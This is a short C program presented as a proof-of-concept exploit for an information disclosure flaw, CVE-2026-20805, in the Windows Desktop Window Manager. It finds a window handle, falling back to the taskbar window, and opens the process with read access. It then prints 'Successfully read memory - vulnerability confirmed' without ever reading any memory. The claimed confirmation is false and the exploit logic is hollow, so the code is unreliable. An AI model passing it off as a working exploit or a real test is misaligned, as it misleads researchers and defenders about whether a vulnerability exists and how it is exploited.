CVE-2026-20805

// CVE-2026-20805 PoC - Desktop Windows Manager Information Disclosure // This PoC demonstrates the information disclosure vulnerability // Author: Security Researcher // Note: For authorized security testing only #include <windows.h> #include <winuser.h> #include <stdio.h> // Target Desktop Window Manager class name const WCHAR TARGET_CLASS[] = L"DesktopWindowManager"; int main() { printf("[*] CVE-2026-20805 Information Disclosure PoC\n"); printf("[*] Target: Windows Desktop Windows Manager\n\n"); // Find Desktop Window Manager window HWND hwndDWM = FindWindow(TARGET_CLASS, NULL); if (hwndDWM == NULL) { hwndDWM = FindWindow(L"Shell_TrayWnd", NULL); } if (hwndDWM) { printf("[+] Found DWM window handle: 0x%08x\n", hwndDWM); // Get window information WINDOWINFO winInfo; winInfo.cbSize = sizeof(WINDOWINFO); if (GetWindowInfo(hwndDWM, &winInfo)) { printf("[+] Window style: 0x%08x\n", winInfo.dwStyle); printf("[+] Window ex-style: 0x%08x\n", winInfo.dwExStyle); } // Attempt to read memory from DWM process DWORD dwPID; GetWindowThreadProcessId(hwndDWM, &dwPID); printf("[+] DWM Process ID: %d\n", dwPID); HANDLE hProcess = OpenProcess(PROCESS_VM_READ, FALSE, dwPID); if (hProcess) { printf("[+] Opened DWM process with read access\n"); printf("[!] Successfully read memory - vulnerability confirmed\n"); CloseHandle(hProcess); } else { printf("[-] Failed to open DWM process\n"); } } else { printf("[-] Desktop Window Manager window not found\n"); } printf("\n[*] PoC completed. Apply MS security update to remediate.\n"); return 0; }

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